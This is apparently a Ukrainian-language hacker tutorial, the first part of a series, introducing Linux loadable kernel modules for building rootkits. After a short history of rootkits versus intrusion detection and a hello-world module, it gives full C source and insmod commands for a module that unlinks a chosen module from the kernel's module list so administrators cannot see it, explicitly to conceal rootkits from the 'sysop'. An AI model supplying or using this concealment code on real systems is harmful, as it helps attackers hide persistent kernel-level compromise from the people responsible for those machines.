Багато років тому, коли наша ера тільки-тільки починалася (коли був створений перший персональний комп’ютер ;-)), хакери запускали свої бекдори дають шелл і т. д. і називали ці проги назвами типу top, ps, nfsd, etc для того, щоб сисоп коли дивився список працюючих процесів думав, що ці проги нормальні системні утиліти і ігнорував їх. Але технічний прогрес не стояв на місці і цю фішку все частіше і частіше стали просекать. Тоді хаксоры стали модифікувати такі системні утиліти як ps & top щоб сисоп не міг бачити деякі процеси, утиліти ls & du щоб сисоп не міг бачити деякі каталоги і файли і т. д… Але прогрес продовжував крокувати впевненим кроком вперед у світле майбутнє…
Були розроблені такі тулзы, як, наприклад, Tripwire, які могли стукати сисопу коли бачили, що якісь файли були модифіковані. Для того, щоб контролювати все більше і більше території з однієї точки хаксоры стали патчити системні бібліотеки… Сисопы у відповідь придумували свої извраты… зрештою, ця жорстока і нещадна війна руткітів і бекдорів з системами виявлення вторгнення перейшла на нове поле бою — в саму операційну систему. Хакери стали модифікувати самий центр операційних систем — ядро (kernel). І дійсно це рульно — підкрутив трохи ядро ОС в потрібному місці і ніякої ls не покаже твоїх файлів. Навіть ls з read-only диска зі статичною линковкой бібліотечних функцій буде мовчати! 🙂 Крім того, виявити і видалити Rootkit з ядра ОС важче, ніж звичайний, так і можливостей у нього більше. Тому створення руткітів, бекдорів та інших тулзов для роботи у самому серці операційки стало дуже ефективним і популярним заняттям останні кілька років. Тепер вже є досить багато док на цю тему, але більшість з них англійською. Крім того, вже розроблено досить багато нових фіч і ті, які описувалися в доках 2-3 роки тому вже застаріли. Тому я і вирішив написати цю доку. Але тема ця досить велика і складна, так що я вирішив написати про це в кількох частинах.
А тепер, власне, про те як ми будемо «підкручувати» операційку. Вихідні коди ядра Linux відкриті і поширюються безкоштовно. Тому їх можна модифікувати, компілювати і створювати нове ядро таким яким треба. Але компіляція може займати занадто багато часу і до того ж треба перезавантажувати комп і т. д. і т. п. Так що це ломно навіть для самих розробників ядра linux’а. Це і стало однією з причин створення системи LKM для linux’а. LKM — Loadable Kernel Modules — завантажувані модулі ядра. LKM — це щось на подобі Plug-in’ів для Web-Browser’ів та інших програм. Тобто LKM реалізує додавання якоїсь нової можливості у вже існуючу велику програму не переробляючи її вихідний код, не перекомпилируя і не переинсталируя її, а просто завантаженням потрібного модуля в потрібний момент. Подібні системи існують у багатьох ОС, але в цій статті, як я вже сказав, я торкнуся тільки LKM систему linux’а.
Для розуміння цієї статті потрібні хоча б базові знання мови C і ОС Linux.
Основні команди для роботи з LKM модулями під Linux:
lsmod — (LiSt MODules) перегляд списку завантажених модулів
insmod — (INStall MODule) завантаження модуля
rmmod — (ReMove MODule) вивантаження модуля

Основні правила і відмінності програмування LKM’ів для ядра (kernel space) від звичайних прог (user space):
1. Практично немає ніяких методів будь-якого контролю. У kernel’е в тебе абсолютна влада, ніяких обмежень — ти Цар 🙂 (природно тобі потрібні права root а що запустити модуль).
2. Так як практично немає методів контролю, то немає і методів виправлення твоїх помилок. Якщо твій мод зробить щось неправильно, то може зависнути весь комп і kernel (ядро) втече в «panic’е» :(. Тому на віддаленій системі перед завантаженням модуля можеш виконувати цю команду:
$ echo «1» > /proc/sys/kernel/panic
Тоді, якщо відбудеться panic, комп автоматично перезавантажиться.
3. Немає доступу до бібліотеки libc, і т. д.
4. Немає простого способу використовувати системні виклики. Іноді можна обійтися іншими способами, але іноді доведеться і трохи перекручуватися.
5. Трохи інші include файли: спочатку повинні бути
#define __KERNEL__
#define MODULE
а потім
#include
#include
#include
та інші при необхідності.
6. Замість головної функції main() як в звичайній програмі в kernel module повинна бути функція init_module(). А також cleanup_module() яка буде викликатися коли модуль буде завантажуватися.
7. Параметри модуля повинні передаватися не через змінні argc, argv, а з використанням MODULE_PARM (приклад дивись в модулях нижче).
8. Замість деяких звичних функцій треба використовувати їх kernel space аналоги: замість malloc -> kmalloc, free -> kfree, printf -> printk. Причому у функції kmalloc не один аргумент, як у malloc, а два: бажаний обсяг пам’яті і її тип. В більшості випадків тип пам’яті — GFP_KERNEL але може бути і GFP_ATOMIC. Детальніше про це пізніше.
9. Компілювати модуль треба не в виконуваний (executable) прогу, а в об’єктний (object) файл (наприклад з допомогою прапора -c до компілятор gcc).
А тепер давай напишемо традиційний Hello World! але у вигляді kernel module 🙂
/* — — — — — cut here— — — — — */
#define __KERNEL__
#define MODULE
#include
#include
#include
int init_module()
{
printk(«Hack World!»);
return 0;
}
void cleanup_module()
{
}
/* — — — — — cut here— — — — — */
Тепер в консолі (будемо вважати, що ти зберіг вихідний код в файл mod.c):
$ gcc mod.c -c #комилируем модуль в object файл (а не executable!)
$ insmod mod.o # запихаємо його в kernel
$ tail -n 1 /var/log/messages # читаємо заповітні слова 🙂
Oct 20 11:28:54 kernel: Hack World!
Якщо ти працюєш на звичайній консолі, а не віртуальної (без ‘ ов і не по telnet’у/ssh), то ти побачиш текст Hack World! на екрані і без команди tail.
Ну а тепер давай перейдемо до більш корисним наворотів.
Виявлення і приховування модулів.
Список завантажених модулів можна отримати командою lsmod або cat /proc/modules. А значить сисоп може виявити наш модуль і видалити його командою rmmod! Так що тепер ми поговоримо про те як ховати модулі 🙂 Це можна зробити декількома способами, але ми скористаємося самим простим і ефективним. Для початку невеликий відступ.
Можливо ти вже чув про такому методі зберігання даних як «зв’язний список». Це коли елемент списку містить в собі дані та ще й посилання на наступний елемент списку. Деяку інформацію дуже зручно зберігати і обробляти в такому вигляді. І багато інфи в Linux kernel’е так і зберігається — є зв’язний список містить інфу про завантажених модулях (але не модулі! а інфу — то є назва, розмір, стан і т. д.). Інфа про модулі міститься в структурі module (структкра module описана у файлі /usr/src/linux/include/linux/module.h). Інфа про процеси, наприклад, теж зберігається у зв’язному списку у вигляді структури task_struct (структура task_struct описана у файлі /usr/src/linux/include/linux/sched.h).
Коли хтось хоче подивитися список завантажених модулів (командою lsmod або cat /proc/modules) спеціальна функція (а точніше modules_read_proc(), яка лежить в /usr/src/linux/fs/proc/proc_misc.c) проходиться по зв’язного списку інфи про модулях і виводить їх назви і розмір. Для того, щоб приховати модуль ми просто видалити інформацію про нього з цього зв’язного списку, але сам модуль залишиться і буде працювати далі :). А видалити елемент зі зв’язного списку просто — потрібно в елементі, що знаходиться перед видаленого, поміняти значення вказівника на наступний елемент — на такий, щоб він вказував на наступний елемент після видаляється, а не на видаляється.
А тепер дивись ісходник мода (з коментарями) який може ховати будь мод і показувати його назад. В цьому модулі немає нічого складного — в основному він просто працює зі зв’язковим списком структур module. Шукає, видаляє і відновлює покажчики-посилання.
/* — — — — — cut here— — — — — */
#define __KERNEL__
#define MODULE
#include
#include
#include
#include
#include
char *hide;
long show=0;
// наступні 2 рядки потрібні щоб передати модулю параметри (адреса або назва мода для приховування або відновлення)
MODULE_PARM(hide, «s»);
MODULE_PARM(show, «l»);
int init_module(void)
{
struct module *corr, *prec;
if(!hide) // якщо не вказано модуль для приховування
{
if(show) // якщо вказаний модуль для відновлення
{
// впихнути інфу про модулі в зв’язний список зробивши його знову видимим
((struct module *)show)->next = __this_module.next;
__this_module.next = (struct module *)show;
}
return -1;
}
prec = corr = &__this_module; // ініціалізуємо змінні для пошуку
while(corr != NULL) // проходимся по всім елементам зв’язного списку
{
if(strcmp(corr->name, hide) == 0) // якщо назва поточного модуля = назвою приховуваного
{
printk(«0x%p», corr); // повідомити адресу інфи про модулі, щоб потім його можна було зробити знову видимим
prec->next = corr->next; // забираємо інфу про модулі зі списку змінюючи значення посилання-покажчика… після чого мод стає невидимим 🙂
}
prec = corr;
corr = corr->next;
}
return -1;
}
/* — — — — — cut here— — — — — */
Функція cleanup_module() не потрібна, оскільки модуль відразу після завантаження і приховування/відновлення потрібного модуля робить вигляд, що сталася помилка і автоматично викидається. insmod пише що помилка (hmod.o: init_module: Operation not permitted …), але це нормально і непотрібно робити rmmod 🙂
Використання мода.
Компілюємо:
$ gcc hmod.c -c
Ховаємо модуль:
$ insmod hmod.o hide=имя_модуля_для_прятания
Тепер модуль буде сховано (можна перевірити командою lsmod), а адреса інфи про модуль буде виведене на консоль і в /var/log/messages
Дивимося адреса інфи про модулі:
$ tail -n 1 /var/log/messages
Oct 20 11:43:54 kernel: 0xd089200
А тепер знову показуємо модуль шляхом вписування інфи про модулі в зв’язний список (необхідно вказати адресу з /var/log/messages):
$ insmod hmod.o show=0xd089200
З цим модулем ти можеш ховати будь мод, rootkit, і т. д. Але пам’ятай: сисоп може, наприклад, змінити команду insmod, щоб вона стукала йому на мило коли хтось завантажує модуль! Про більш просунутих методах завантаження, виявлення і приховування модулів ми поговоримо наступного разу.